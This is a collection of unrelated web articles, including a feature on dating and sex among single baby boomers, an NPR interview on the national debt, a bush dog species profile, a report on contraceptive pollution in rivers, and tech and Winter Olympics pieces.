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There are nearly 80 million Americans who came of age in the revolutionary free love ’60s and ’70s, when rebelling against your parents’ conservative views of adolescence, premarital sex, and drugs was just something you did. About a third of these erstwhile crazy kids are now single — divorced, widowed, or never married in the first place — and while the drugs and rock ’n’ roll of their past may have stayed there, to hear this group tell it, sex and desire certainly did not. Match.com reports that 50-plus is the site’s fastest-growing demographic. And according to a survey on its sister site for older daters, OurTime.com, 87 percent of 50- to 70-year-old single users say that physical attraction is a “must have” for a potential partner.
RELATED: Are baby boomers ready to give marijuana a second chance?
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While the Internet has made connecting with others easier, regardless of age, what’s happening also reflects a cultural attitude shift. Nowadays, “there is much more permission to have more than one relationship” in a lifetime, says Cambridge sex therapist Gina Ogden, PhD and author of The Return of Desire. “You no longer see the 55-year-old in a brown cardigan and sensible shoes mourning the fact that he or she would never have a relationship again.” People are experimenting and they’re exploring. Megan Andelloux, founder of the Center for Sexual Pleasure and Health in Pawtucket, Rhode Island, says that many boomers stopping into the center come asking about sexual orientation, like the widower and father of three who “knew he was going to die soon,” Andelloux remembers, “but had always known that he wanted to be with another man.” He wanted to learn how to put on a condom correctly, because he had never been taught. “People tend to realize in their late 40s that they aren’t having the type of sex they want,” Andelloux says, “and so they reach out to the center to make that happen.”
Madeleine, who divorced about a decade ago and lives on the North Shore, says her own father died when her mother was 59. “I always think it’s such a shame,” she says. “She could have had a whole other life.” That said, she adds, “being with a new person after 35 years, talk about scary.”
When Madeleine first started dating her boyfriend, they lived more than an hour’s drive apart. She’d insist on meeting him halfway between her house and his, because she was afraid if he came to her town he’d want to stay over. “But then he did, and we had a nice time, and I thought, What’s he gonna do, drive all the way back [home]?” she recalls. “I was like, you can sleep on the couch. Then I’m looking at him,” she says and grins, “and thinking, Well, that’s stupid. Come on in!”
Of course, there were a few things she wanted to talk about first. She was in her 50s, after all, and had the battle scars, literally, to show for it: two C-sections and a breast reduction. She wanted him to know.
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A 54-year-old in Melrose feels a similar impulse before intimate moments. “I’m a breast cancer survivor and I have only one breast,” she says. “When I was younger, I was very comfortable in my skin and becoming sexual was a pretty easy thing for me. Now when I like a person I have to deal with how to share this information so that I feel comfortable and they feel comfortable. And that’s a really strange thing to have to do.”
It’s one reason, this woman says, though she was once married to a man, she has almost exclusively dated women for the last five years. “I have this presumption men are looking for someone with a more complete body,” she says. “Women have expectations, too, but they’re not physical. They want to know you’re independent. That you own your own home and you’re still working.”
Photograph by Dina Rudick/Globe Staff; Photographed at The Langham, Boston; Models: Kirsten Hede Brierley and Marc Iannaco/Maggie Inc.; makeup: Chantal Ambroise Some 25 million baby boomers are single — either divorced, widowed, or never married.
CHANGING EXPECTATIONS, AND BODIES, are just two of the many complications boomers face in their 21st-century quest for love. Baby boomers — many of whom are also part of the “sandwich generation” — are one of the most stressed-out demographics, mostly still working full time but often called on to care for aging parents and increasingly helping to financially support adult children. Sometimes there’s just no time, or emotional headspace, for romance. “There are things that go on in middle age that take so much energy you don’t always feel you have much to give to dating, or even presenting yourself in an upbeat way,” says the Melrose 54-year-old, who took time off from dating to care for her father and then to mourn his death. For years, she says, it felt like all she could talk about was helping care for him at home and in assisted living.
At the same time, in terms of romantic potential, the parents’ nursing home has become, in many ways, the new corner bar, says Barbara Moscowitz, senior social worker at Massachusetts General Hospital’s Geriatric Medicine Unit. “People often meet each other on the path of caregiving or when there’s an understanding both or one has a major life stress,” she says. This tends to upend the regular expectations of new daters, people who would otherwise prefer to spend every waking moment together. “If someone is busy, it can be harder to spark a relationship,” Moscowitz says. “Harder, but not impossible.”
The rise in 50-plus Match.com users notwithstanding, many boomers seem to prefer meeting potential partners the old-fashioned way. Madeleine had been divorced for five years when she met her boyfriend at a friend’s dinner party. She’d had an online dating profile, but she never got into it. She’d heard too many stories of disappointment. The guys “sound fabulous, then you meet them and you’re like ‘Oh, really? How tall and athletic are you?’ ”
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A 57-year-old in Newburyport who’s been divorced nearly three years says she skims Match.com “to see what’s out there” but hasn’t yet worked up the courage to post her own profile. She met the man she’s currently dating when she hired him to do some work on her house, after which he asked her out for pizza. They’ve only had two real dates, though, and she isn’t ready to think about sex.
“It may not sound very romantic, but for midlife daters, finding love is a numbers game,” says Boston matchmaker and dating coach Peggy Wolman, who runs her business with her husband of more than 40 years, Richard. “Online dating can be a challenging concept, but if you look at the number of people who do meet online, it’s wrong to think it’s not one of the smartest options.” The Wolmans spend a lot of time talking to their boomer clients about sex and expectations — how to meet people, what to do on a date, and then some. “A lot of people might not have been intimate with their partner for two, three, four years,” says Wolman. “They’re out of practice and out of touch. Are you kissing on a first date? On a second? What happens when someone invites you back to their apartment?”
Meanwhile, Wolman says, safe sex is a radical concept in a way it’s just not for younger people. One consequence of this: STD rates among boomers are on the rise. Numbers from the Centers for Disease Control and Prevention show that between 2000 and 2010, cases of some STDs, like gonorrhea and chlamydia, nearly tripled among those 50 and older. CDC research has found that one-fifth of all people living with HIV in the United States are older than 55.
“Particularly after menopause, one element that may traditionally keep women more focused on relationship or behaving in a sexually conservative way relative to men — the risk of pregnancy — is gone,” says Carol Queen, PhD and staff sexologist for the sex-toy chain and education center Good Vibrations, which has a location in Brookline. A 2010 Harvard Medical School study, meanwhile, suggested that men older than 50 were six times less likely to use protection than men in their 20s. That women outlive men, adds Queen, “means there are fewer eligible men to go around — and may mean that sexually vital older guys can be players, even if that’s not how they lived their younger lives.”
Boston filmmaker Laurie Kahn produced a series of videos funded by the National Institutes of Health on safer sex for older people, featuring mainly local singles. “One woman talked about going on a weekend trip with a man she was dating, and she suggested they have safe sex,” Kahn says. “He said, ‘No, I won’t do it. It’s not enjoyable for me.’ And he was a doctor!”
Photograph by Dina Rudick/Globe Staff; Photographed at The Langham, Boston; Models: Kirsten Hede Brierley and Marc Iannaco/Maggie Inc.; makeup: Chantal Ambroise Sixty percent of fiftysomethings report having the best sex of their lives.
METROWESTER MARLA, 53, is mid hot flash as she describes the “best sex ever” she recently had with her ex-husband. They separated seven years ago after Marla found out, through checking his Facebook, that he’d arranged to meet up with his college girlfriend. Afterward, Marla took up with her high school sweetheart, though they’ve since broken up. Marla says she’d be happy to move on to dating new men but has been turned off by the aggressiveness of the guys she’s met through Match.com and JDate, guys who ask for “sexy” photos or dirty talk before they’ve even had a date. “Boomer men like to be very quick and straight to the point,” admits dating coach Thomas Edwards Jr. of The Professional Wingman, who works with men (and women) in Boston and New York. Men “don’t understand the etiquette online, because in so many other ways it’s about instant gratification. That leaves many women jarred.”
That hookup with her ex, Marla says, was a fluke, something that happened after a few too many drinks during a regular get-together to talk about their kids. “I’ve always been the more passionate and forward one,” she says. But for the first time ever, her ex took charge, and she liked that.
In fact, matchmakers say that some clients end up preferring people who are different from their previous partners. “Relationships are a whole different scenario now,” Madeleine says. “It’s not about having kids, bringing them up, feeling the same way about every little thing. It’s much more about yourself.” Whereas her ex-husband was slim and “a very, very stressed-out, uptight person,” her new beau is a burly salesman who sings in the car. He likes to hold her hand in public. “There’s a lot of things where, if it weren’t this time in my life, it wouldn’t work — like, he has no money,” she says. “But I don’t care. Because I have my own money.”
Pepper Schwartz, a Seattle sexologist and the author of Dating After 50 for Dummies, says that boomers aren’t any less ambitious about relationships than they used to be; they just frame them a little differently. “Emotion is still at the forefront,” she says. “No one is looking for someone to compromise with — they’re looking for love and compatibility.” That said, since many men, if given the chance, choose younger women, women have been inspired to look “in different categories,” Schwartz says — career women with blue-collar guys, for example, or interracial and interreligious pairings. This, in turn, can translate to better relationships — and better sex. “Long-term couples often transfer their day-to-day power struggle into the bedroom: demands, expectations, judgment, guilt,” says Kate Feldman. Along with her husband, Joel, they are directors of the Conscious Relationships Institute, and they regularly lead couples in workshops in sex and intimacy at the Kripalu Center for Yoga & Health in Stockbridge. But if those struggles don’t exist — because the kids (with someone else) are grown, the house is paid for — problems in the bedroom start to fade away. As sex therapist Gina Ogden says, “The relationships that don’t do as well are the ones in which a person is looking for someone to fulfill something in their lives, and older people tend to look for that less.”
That’s not to say that the only good boomer sex is new boomer sex. The Feldmans note that in the last few years they’ve seen a huge increase in interest and willingness among fifty- and sixtysomethings to acknowledge that sex in marriage, especially over time, can be a great struggle and that they want to fix what’s broken. “Long-term couples have a challenging road to stay intimate, and there’s even more sensitivity when your body in changing and it’s not what you’re used to,” says Feldman. “Twenty years ago, there was a code of silence around sex. But the baby boomers are more open about talking about it and doing something different.” Wives who’ve come to feel that part of their role was to have sex regularly with their husbands are seeking to have sex (or not) on their terms; men are looking to find ways to remember that pleasing their partners is as important as pleasing themselves.
“One thing we want all senior clients to understand is that sex is something they’re doing because they are the choosers, not the chosen,” says Richard Wolman. “We tell people, rather than thinking about what you want or need, think about what would make you feel good.” Many boomers will eventually pair off, again exchanging the single life for one of monogamy. As Wolman says: “Look, at this age, it’s pretty exhausting to be dating different people all the time.”
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This is being promoted under the banner of freeing Public School Districts of the enormous burden that is Government Regulation. As this state has implemented, and encouraged both Charter and Private Schools thus unfettered, it is clearly only appropriate that our Public School be allowed to compete on a level playing field (We understand this in Oklahoma. Playing fields are pretty much the only thing we are good on).
We have, over the years, been assaulted by many, many proposals and laws that have failed miserably to raise standards in the Sooner State … No Child Left Behind, Race To The Top, Common Core Standards … and we spurn them all.
To counter this, our fearless leaders, wise men and women all, have come up with our own solution. I think I’ll call it Race To The Bottom, and I feel confident that that is one race we can win.
SB 1187 passed out of the Uneducation Committee. It may or may not become law, but just so the rest of the country can laugh at us, and who doesn’t need a good laugh at times, here are some of the things it proposes:
Long answer: It’s on StarWars.com, and is reported by media outlets as such. The outlet will either source/link StarWars.com or have quotes from Lucasfilm people using their actual names.
For a recent example of an outlet actually breaking news with Lucasfilm’s blessing, let’s look at IGN’s original report of David Tennant in The Clone Wars. It has extensive quotes from Dave Filoni and a video clip – which was exclusive to them when the story broke. (StarWars.com later posted it as a preview of the episode.) So far, Lucasfilm hasn’t been doing this with Episode VII news – the Arndt item simply appeared on the site – perhaps because they know that everyone is going to write about it anyway. The Tennant news simply isn’t as big, and getting it onto a mainstream outlet gives it an extra boost that will reach casual fans (and people like Doctor Who fans) who aren’t regularly watching The Clone Wars. This is also probably why Del Rey gave Entertainment Weekly that Scoundrels exclusive EU fandom spent a day agonizing over back in March.
Obviously, an outlet reporting something from unnamed sources – as is the case with last night’s Kasdan/Kinberg stories from Deadline and THR – are not confirmed.
Other outlets writing about those stories does not confirm them, either. Words like ‘reports’ and ‘reportedly’ are basically just a journalistic way of saying ‘rumors.’ It might give them a little more weight – I tend to use the word ‘report’ if I think something is just a tad more plausible than things like, say, Vader rising from the dead. But in essence? They mean exactly the same thing: It’s not official yet, just things people or the media are saying. That doesn’t make them fact, no matter how many people run the story.
Because nothing is confirmed until Lucasfilm says it is. Lucasfilm and, now, Disney. Not Major Entertainment News Outlet #47 reporting off Major Entertainment News Outlet #86. And trust me, we are watching.
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The national debt is a major talking point in this year's presidential election. But political scientist Robert Sahr says it hasn't always been this way. He sits down with host Michel Martin to look at what the presidential candidates plan to do about the debt. The conversation is part of NPR's "Solve This" series, looking at the issues driving the election.
MICHEL MARTIN, HOST:
This is TELL ME MORE, from NPR News. I'm Michel Martin. Coming up, we take a look back 25 years to the 1987 stock market crash, which some people still call Black Monday. We'll talk about how that even compares to the more recent market turmoil and if there's anything we can learn from it about market ups and downs today.
But first, we want to take a look at this country's financial picture in the here and now. It's part of our effort to take a deeper look between now and the election at some of the major issues and what the candidates are promising to do about them. We're calling the series Solve This. Today, we're focusing on the national debt.
The Treasury Department estimates that the debt has reached $16 trillion, and if you've watched the debates or the ads or the speeches, then you know that it has become a major issue in the race for the White House. Each major party candidate - President Obama or Republican challenger Mitt Romney - claims he has a credible plan to bring it down and the other guy, well, doesn't.
So what about that? We've called Robert Sahr. He's a political scientist with Oregon State University. He happens to be spending the academic year at George Washington University here in Washington, D.C., and he's done extensive work on the politics of the national debt. And he's with us now.
Welcome. Thanks for joining us.
ROBERT SAHR: Thank you for having me.
MARTIN: So when did or why did the debt become a major issue this election season? When did that start to happen?
SAHR: Well, in some ways, I would argue it probably started in the 1980s. One of the really interesting things to me is the degree to which Republicans have really defined the national debt and the deficit not as a question of the difference between taxing and spending, but as Ronald Reagan said, it's not because we tax too little, but because government spends too much.
And that's really been the way that - a very successful effort on the Republican part to define it that way so the taxes are almost off the table.
MARTIN: Well, let's just take a step back, and I am asking for an opinion here.
SAHR: Mm-hmm.
MARTIN: Why is it a big deal?
SAHR: A lot of economists will argue - at least in the short-term - when you're having a severe recession, that increasing the national debt is not a bad thing. Over the long run, you do not want to increase the national debt and want to figure out how to reduce it.
And one of the things that's been interesting to me is that the national debt more than doubled under Ronald Reagan, almost doubled under George W. Bush, but there was almost no discussion of the national debt at that point, or the deficit. In fact, Vice President Cheney famously said that Ronald Reagan proved that deficits don't matter.
But as soon as January 20th, 2009 when Barack Obama became president, suddenly, we started talking about the deficit and the debt. Very interesting, that shift.
MARTIN: Well, why is it that way? I think the Democrats - particularly in the Democratic National Convention in selecting former President Bill Clinton as one of the major speakers - wanted to remind the country that he actually left with a surplus, with a budget surplus.
SAHR: Right.
MARTIN: So why is it that even though the debt has doubled under those two - doubled in each of those two Republican administrations, that the Republicans continue to have an advantage on the issue? Why is that?
SAHR: I think, for some reason, they were able to define the Democrats - so much as Ronald Reagan did - as the party of tax and tax, spend and spend. And most people don't have much sense of the budget or the deficit or anything else, and so you can get impressions or stereotypes established that I think are very important.
And they, to some degree, are resistant to specific facts, and the fact that people do remember that not only did we have a surplus under Bill Clinton, but the national debt actually fell by about a sixth when he was president, which is pretty amazing when you think about the fact that that's the only president since the 1960s under whom we've had a surplus and certainly a reduction in the national debt.
MARTIN: But why have Republicans not paid a political price for the fact that the debt has twice ballooned under their watch?
SAHR: That's, to me, an amazing puzzle. And, again, I think partly, it's related to stereotypes. Partly it's related to the fact that so-called issue ownership, that Democrats are seen as the party of spending and Republicans are seen as the party of fiscal discipline, even though the facts wouldn't support that.
And in addition, Republicans have this huge outside government way of penalizing Republicans who stray in relation to tax changes. You might see a change after the election on this.
MARTIN: You mean an advocacy apparatus.
SAHR: Advocacy. Yeah.
MARTIN: Mm-hmm.
SAHR: In a sense, it's kind of an enforcement mechanism, saying that anybody who diverges from the anti-tax increase orientation is likely to face major difficulties and challenges. And that's happened. And so one of the things it seems to me is that what you have is in some way - President Clinton mentioned during the Democratic Convention - sort of a battle over the arithmetic.
But it's a battle, it seems to me, not just between candidates and parties, but also between arithmetic on the one side and the politics on the other side. And the politics work out very differently for Democrats and Republicans, and also for third party candidates.
MARTIN: Just briefly, if you could remind us why the debt ballooned as significantly as it did under President Reagan and then under President George W. Bush.
SAHR: Most economists will argue that after all, the deficit can result - it results from the difference between taxing and spending. So the change in taxes or a change in spending can either increase or decrease the size of spending. And so under Bill Clinton, you had an increase in tax at the high income levels and you had a reduction in spending. So both took place.
Under Ronald Reagan, you actually had a very large tax reduction that was not offset by very large spending reductions, and in fact, spending reductions were a lot smaller, and the same thing that happened under George W. Bush. So most economists will argue if you look at the combination of taxing and spending, the biggest factor has simply been that tax cuts have been much larger than spending cuts.
MARTIN: If you're just joining us, you're listening to TELL ME MORE, from NPR News. I'm Michel Martin. And we're speaking with Professor Robert Sahr about what the president candidates say they will do to solve this country's debt problem. This is part of our series called Solve This.
I want to play a clip of former Massachusetts Governor Mitt Romney, the Republican challenger, talking about this issue at Tuesday night's debate. Here it is.
(SOUNDBITE OF PRESIDENTIAL DEBATE)
MITT ROMNEY: We've gone from $10 trillion of national debt to $16 trillion of national debt. If the president were reelected, we'd go to almost $20 trillion of national debt. This puts us on a road to Greece.
MARTIN: What's the basis of that assertion? And is that a credible assertion, that the debt could jump to $20 trillion during a second Obama term? And what about his argument that this leads the U.S. on the path to Greece - which, I mean, if people are following the news, is suffering some terrible social turmoil resulting from the need to make drastic cuts in the budget. And that's affecting people's lifestyles very dramatically.
SAHR: One of the interesting things is that as a percent of the economy, the deficit was actually largest in 2009. And, of course, that budget year, it started under George W. Bush and had obviously ended under Barack Obama. Each year since then, or at least most years since then, as a percent of the economy, the national debt has actually fallen, even though in dollar terms, it's very large.
And so I don't know if in terms of the future there are some arguments to be made that it will continue to grow under Barack Obama if he were reelected. The other side of it, of course, is what exactly would Mitt Romney do if he were president, because the politics of it make it very, very difficult for him to make cuts.
People don't like government in the abstract, but they very much like government in the specific programs. So politically, it's a challenge for him.
MARTIN: Well, speaking of which, I mean, that is President Obama's argument back to Mitt Romney. And I'll just play a short clip from President Obama's comments about Mr. Romney's plans, or lack thereof, during the debate. This is his point of view. Here it is.
(SOUNDBITE OF PRESIDENTIAL DEBATE)
PRESIDENT BARACK OBAMA: If somebody came to you, governor, with a plan that said, here, I want to spend seven or $8 trillion, and then we're going to pay for it but we can't tell you until maybe after the election how we're going to do it, you wouldn't have taken such a sketchy deal. And neither should you, the American people, because the math doesn't add up.
MARTIN: What about that?
SAHR: That is, in fact, as I mentioned earlier, I kind of battle between the politics and the arithmetic, because it is difficult and, in fact, it illustrates one of the problems - or one of the orientations Republicans have to take. Since people don't like government, they can attack government spending, but they avoid getting very specific. And people do tend to assume there's lots of waste in government spending, and so you can cut the waste and balance the budget and still maybe even reduce taxes.
And so - but the problem is the arithmetic makes it very difficult, and one of the ways that Mitt Romney avoids at least some of the political costs in the short-term is by not being very specific on either the spending cuts he proposes and will have to propose, or also the tax changes. He's left those very undefined. Politically, he's borne some penalty for that, but not a lot of penalty.
MARTIN: Does President Obama's math work? I mean, he's saying that there needs to be a slower, a more gradual, and what he - he uses the word balanced approach to reducing the deficit by taxing the highest income earners and making some other changes like that. And he says that this is necessary, because otherwise you will shock the system and that you will have a lot of social turmoil and a lot of personal pain, and that's what he says he's trying to avoid. Does his math work?
SAHR: It probably works better, but of course, one of the problems over the politics of it right now is Republicans have so much defined so that any tax increase is fundamentally bad, that despite the fact that President Obama has said you want to increase tax on the upper income, there's still the huge tax reductions under George W. Bush that apply to lower incomes. And so even though there'd be some effect of that, it'd be very difficult to make enough change on taxes to offset that.
MARTIN: Finally, there was a bipartisan effort to address this issue with a commission - that's kind of the time-honored way of giving both parties political coverage, is you get some, you know, famous, credible, well-respected people from both parties to kind of work together behind closed doors, present a plan, and then everybody can embrace it. So everybody takes some pain, everybody takes - everybody gets something that they want. Everybody gets something that they don't want, and everybody sort of links arms around that. That's the way you do some sensitive things like closing military bases, which people tend to not want to do.
There was such an effort. It was called the Simpson-Bowles group.
SAHR: Yes.
MARTIN: Why didn't their efforts gain any traction?
SAHR: The president, I think, embraced them in general terms, but not specific terms. And part of the reason is because they were calling for large cuts in programs that are very important for Democrats, including changes in social programs, so that even though, you know, I think President Obama has said it's kind of a framework for discussion, it's not something that, in fact, led very far.
And it's very difficult for Republicans to embrace, because it also called for tax increases, which Republicans have ruled off the table. It's going to be very interesting to see, if Mitt Romney is elected president, how the tax increases will, again, maybe reemerge, maybe through fundamental change of the tax structure through some kind of consumption tax or something else. And how will it be done in a way that will avoid the blame that Republicans cast on any candidate or official who pushes for tax increase?
MARTIN: Robert Sahr is a political scientist with Oregon State University. He's currently spending a sabbatical year at George Washington University. He is, as we said, a student of the national debt and the politics of the national debt, and he was kind enough to join us in our Washington, D.C. studios.
Professor Sahr, thank you so much for joining us.
SAHR: Thank you for having me.
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IUCN Status: Vulnerable Due to the Bush Dog’s elusive nature, most of what is known about this species comes from observations of these animals in captivity or from anecdotal sources (http://www.iucnredlist.org/search/details.php?species=20468). Bush Dogs have squat bodies, short legs, short bushy tails, round ears, and muzzles. They also have webbed feet, which is an adaptation for living near water. Their heads and necks are reddish. The rest of their bodies are brown and become darker towards the tail. This rare species has a range that extends from Panama all the way down to northern Argentina. Its habitat includes lowland forests, semi-deciduous forests, seasonally flooded forests, and wet savannahs. This species is an impressive generalist (it can survive in many different habitats) but has never been seen far from water. Bush Dogs live in extended family groups of up to 12 members. These groups have elaborate systems of contact calls for communication. They are active during the day and retire to their dens at night (dens are often abandoned armadillo nests). Bush Dogs hunt large rodents such as paca and agouti in groups, although solitary hunters sometimes eat smaller rodents, snakes, lizards, and ground nesting birds. Sometimes, larger groups take on prey like the capybara which is much larger than each individual dog. In Bush Dog extended family groups, only one female reproduces. The estrous cycle (the cycle governing the release of eggs in female mammals) is suppressed in the other females. Females are pregnant for up to 67 days and have litters averaging 4 pups. Non-breeding females assist in the care of the pups and males bring food to the den. The young reach sexual maturity in one year. Members of this species are believed to live about 10 years. (http://www.arkive.org/species/GES/mammals/Speothos_venaticus/more_info.html) It is illegal to hunt this rare species in most South and Central American countries. Bush Dogs are known to live in Yasuní. It is believed that habitat encroachment is the leading cause of this species’ decline. (http://www.iucnredlist.org/search/details.php?species=20468) CLICK HERE FOR MORE EXTRAORDINARY
ANIMALS and PLANTS OF YASUNÍ,
THE MOST BIODIVERSE FOREST KNOWN ON EARTH
But the plan, which would involve upgrading the sewage network and significantly increasing household water bills, is controversial. Water and pharmaceutical companies dispute the science involved and argue the costs are prohibitive. By contrast, many environmental researchers say the proposal is sound. Ethinyl estradiol (EE2), the main active ingredient of contraceptive pills, can trigger a condition known as intersex in freshwater fish, which has caused significant drops in populations in many species – although no links have yet been made with human health. "That does not mean we will not find impacts in future," said toxicologist Professor Richard Owen of Exeter University. "But do we want to wait until we see effects in humans, as we did with thalidomide and BSE, or do we act before harm is done?"
Preventing EE2 from having environmental or health effects is difficult, however. "Ethinyl estradiol is a very potent chemical," said Professor Susan Jobling of Brunel University. "It is designed to have effects in the human body at very low levels. That means it will also have a significant impact in the environment."
More than 2.5 million women take birth control pills in the UK. Their EE2 content is excreted and washed into sewage systems and rivers. Even at very low concentrations, this chemical has harmful effects on fish. Males suffer reduced sperm production, with severe effects on populations. In one recent trial, in a Canadian lake, researchers added EE2 until levels in the water reached five parts per trillion (ppt), a minute concentration. Yet fish populations suffered severe problems with one species, the fathead minnow, collapsing completely.
In Britain, research by Jobling found that at 50 sites 80% had noticeable levels of EE2 in their water. The closer a downstream sampling point was to a sewage works, the higher the level of EE2 tended to be. Similar levels are found elsewhere in Europe.
To reduce dangers posed by these concentrations, the EU proposed in January that it would set a level of 0.035ppt for ethinyl estradiol in water in Europe. Achieving that target will not be easy, as Owen and Jobling point out in a recent issue of Nature. They calculate that, for a town of about 250,000 people, it would cost about £6m to install a system that uses granular activated carbon to cut EE2 levels, with a further £600,000 being needed to operate the system each year. To upgrade the 1,400 sewage waterworks in England and Wales would cost a total of more than £30bn, they add. "The question we have to ask ourselves is straightforward," said Owen, a former head of environment and health at the UK Environment Agency. "Are we willing to pay up or would we rather settle for environmental damage associated with flexible fertility?"
A final decision on introducing the EU's plans to cut EE2 levels will be taken in November by the European parliament. Water and pharmaceutical companies have already begun to lobby to block the plan and it is expected other parties will become involved. "There is a danger that the battle will take place behind closed doors," said Jobling. "The public need to be told what the issues are and make its voice heard. It may be happy to pay the extra cost and so avoid the risk of ill-health in the future."
Nor is it necessary that the public should pick up the tab, added Owen. "The pharmaceutical industry makes billions out of the drugs and treatments it sells. If these pollute the environment, what is wrong with making them pay to have it cleaned up?"
However, the Association of the British Pharmaceutical Industry rejected the idea and disputed the scientific basis of the EU plans. "Feminisation in fish populations has been observed in a number of field surveys, but a detrimental impact on the level of those populations has not been established," said a spokesman. "It would be premature to require such intensive upgrading of waste water treatment."
Microsoft is making a big push toward a unified gaming platform. The Xbox One itself will be updated to run Windows 10 in November, and Tuesday's press conference saw cross-play and cross-buy announcements for Windows 10 and Xbox One games. The company seems to be headed toward a single marketplace for games. That's something that makes a lot of sense, especially for smaller titles, but right now, most games that work like this are Microsoft developed or published. The outlier is Bloodstained, which will have the feature when it launches in 2017. According to Tsunoda, Microsoft is hoping to change things sooner than that, though:
"Once we've figured out how, through Windows, we can bring [PC and Xbox] gamers together with cross-play, we're going to put that into our platform to make it simple and easy for other developers to do as soon as possible."
That'd be big news. Sony, Microsoft's chief rival, already allows for limited cross-play between its PS Vita handheld and PS4 console, and the upcoming Street Fighter V will let PC gamers face off against opponents playing on PS4s. With the new Xbox app and tighter integration though, it's not difficult to imagine a lot of Xbox games being playable on PC and vice versa in the near future.
Although Tsunoda skirted around the question, cross-buy would be a huge win if Microsoft can get its third-party partners on board. The company has been fighting PR fires since the rather disastrous Xbox One launch, but the division's gotten back its stride recently. Announcements of a regular monthly update pattern, Windows 10 streaming and backward compatibility (even with its caveats) have all gone over well with fans. And letting Xbox One gamers buy their games once and play them anywhere would go a long way to healing the "always-on" wounds.
On Kinect
It's difficult to think of Tsunoda and not think of Kinect: The once bundled-in Xbox One camera is now an optional add-on. Given it's Tsunoda's baby, I asked if he's interested in supporting the peripheral by having Microsoft Studios develop games for it. In return, I got a rather odd response:
"So the big thing is the depth-sensing technology, the stuff that's inside Kinect. Obviously, we're still doing a lot on the platform-side, but we've got Just Dance coming out soon for Kinect. I think it's really about making an investment in depth technology itself. It's great for everything we're doing on this platform. Obviously, a big part of what we're doing with HoloLens is environmental understanding, and that's a big advancement in depth-sensing technology. These are things that Microsoft does really well: You invest in a cutting-edge technology; you use it in a space like games on Xbox, or a space like HoloLens. Just keep pushing the boundary of what we can do with depth-sensing technology and really try to be a leader in that space."
I pushed Tsunoda for clarification on whether Studios would pursue the creation of games made specifically for Kinect, or HoloLens and if that's even something Microsoft is still very interested in.
"I think that's right. You can see that so much of what we're doing is really trying to create awesome games that gamers will love. Whether that's on Xbox One; whether that's on Windows; whether that's with Kinect; whether that's with HoloLens -- we really just want to produce technologies. We want to find how to use the medium to really deliver the core games that gamers and our fans are really going to enjoy."
Microsoft, it seems, is still trying to figure out how to make Kinect useful for gaming, although that's not really the end of the world.
On taking risks
Tsunoda has a reputation as a free thinker. Often seen sporting a pair of oversized sunglasses, he's known for taking risks and pushing new tech like Kinect and HoloLens toward consumers even when it's not entirely clear what it'll be used for. I asked if he's bringing that spirit to Studios; will we see riskier, edgier, more original games coming to Xbox, courtesy of Microsoft?
"As much as I like taking risks and pushing the boundaries of games and technology, at the end of the day, you come to places like Gamescom, [and] you see fans reacting to the work that you're doing, and enjoying the games. That's got to be the focus: Your end goal is making awesome games that people are going to enjoy. Taking risks, pushing boundaries, that's all just a means to an end."
So far, just a few months into the program, IBM employees seem to be enjoying their Macs, and notably, are experiencing way fewer problems on it than their PC counterparts. What’s more, IBM is finding that supporting the Mac is much cheaper than supporting PCs.
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Recently, IBM took part in the JAMF Nation User Conference where Big Blue divulged a whole lot of interesting data about its foray into the world of all things Mac. According to Fletcher Previn, VP of IT at IBM, the company’s new Mac at IBM initiative is off to a rousing start. IBM is currently is deploying 1,900 Macs per week with Previn noting that there are now more than 130,000 Macs and iOS devices being used company wide. With respect to Macs specifically, IBM went from 0 to 30,000 machines in just six months time.
Making a strong case for the Mac in the enterprise, Previn touched on a few points, including the fact that while Macs may have a higher up-front cost, they ultimately help the company save money.
JAMF reports:
Previn continued the Mac@IBM conversation by saying the the upfront cost of PCs is lower, but the residual value of Mac is higher. “A Mac still has value three or four years down the road,” he added. With the provisioning and automation practies used to manage Mac, IBM does not need to create images for all of their machines — saving their IT staff significant time. “Every Mac that we buy is making and saving IBM money,” Previn said.
Over the long run, “the incremental purchase price of a Mac pays for itself several times over the life of the device,” one of Previn’s slides read.
Speaking to the ease of use that the Mac is famous for, Previn said that just 5% of Mac users call the help desk, in stark contrast to the 40% of PC users who call the help desk.
Driving the point home, Previn cited a Gartner statistic which says that the optimal ratio of IT workers to employees is 1:70. At IBM, with respect to Mac users, that ratio is 1:5,400.
None of these athletes will actually be traveling all alone to the Olympics in Sochi, Russia, as far as we know. When you see them in the parade, they will most likely be accompanied by coaches and officials from their nation. However, they are each the sole athlete participating in competition for their country.
1. Cayman Islands: Dow Travers
Dow Travers was the first ever winter Olympian from the Cayman Islands in 2010. That makes him a national hero in the tiny nation where the highest altitude is 141 feet above sea level! Travers learned to ski during family vacations in Beaver Creek, Colorado. In Sochi, he will compete in the men’s slalom and the men’s giant slalom under the flag of the Cayman Islands.
2. Malta: Elise Pellegrin
Photograph from Facebook .
Elise Pellegrin is a French-born 21-year-old professional Alpine skier. She has been skiing since she was three years old! Pellegrin will be the first Olympic athlete ever to represent the Mediterranean island of Malta at the Winter Games, having achieved her citizenship there only recently. She will compete in the women’s slalom and the women’s giant slalom.
3. Philippines: Michael Christian Martinez
Getty Images
Michael Christian Martinez is only 17 years old, yet he will have the entire nation of the Philippines behind him as he represents them in Sochi all by himself. No one else from the Philippines has qualified for the Winter Games since 1992. Martinez has been skating since he was eight and has been racking up international awards in men’s figure skating since he was twelve. Martinez trains in Manila and in California. He is the first ever figure skater to represent the Philippines in the Olympics.
4. Bermuda: Tucker Murphy
Getty Images
Cross-country skier Tucker Murphy represented Bermuda as that nation’s first Olympic skier in 2010, and will repeat as a solo Bermudan skiing cross country in Sochi. Murphy graduated from Dartmouth, where he was on the rowing team as well as the ski team, and went on to be a Rhodes scholar studying zoology. As in 2010, he will no doubt wear Bermuda shorts as the sole representative of the island nation.
5. British Virgin Islands: Peter Crook
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The British Virgin Islands have not competed in the Winter Games since 1984 (and never before that). This year, Peter Crook will ski for the Islands in the men’s halfpipe, a freestyle skiing event. Crook was born in Tortola in the British Virgin Islands, but moved to Wisconsin when he was a child. He now lives in Colorado. Crook and his father founded the BVI Skiing Association three years ago, in anticipation of the 2014 Winter Games. He said their biggest challenge was explaining what half pipe skiing was to the BVI Olympic Committee.
6. Luxembourg: Kari Peters
The Grand Duchy of Luxembourg is not a tropical country, but with a very small population, its Olympic Committee thought that no athlete would qualify for the games. Then cross country skier Kari Peters posted the best score of his career at his European Cup qualifying sprint in St Ulrich, Austria. The committee decided that he deserves a trip to Russia. Luxembourg sent no athletes to Vancouver in 2010, and hasn't won a medal in the Winter Games since 1992.
7. Hong Kong: Pan-To Barton Lui
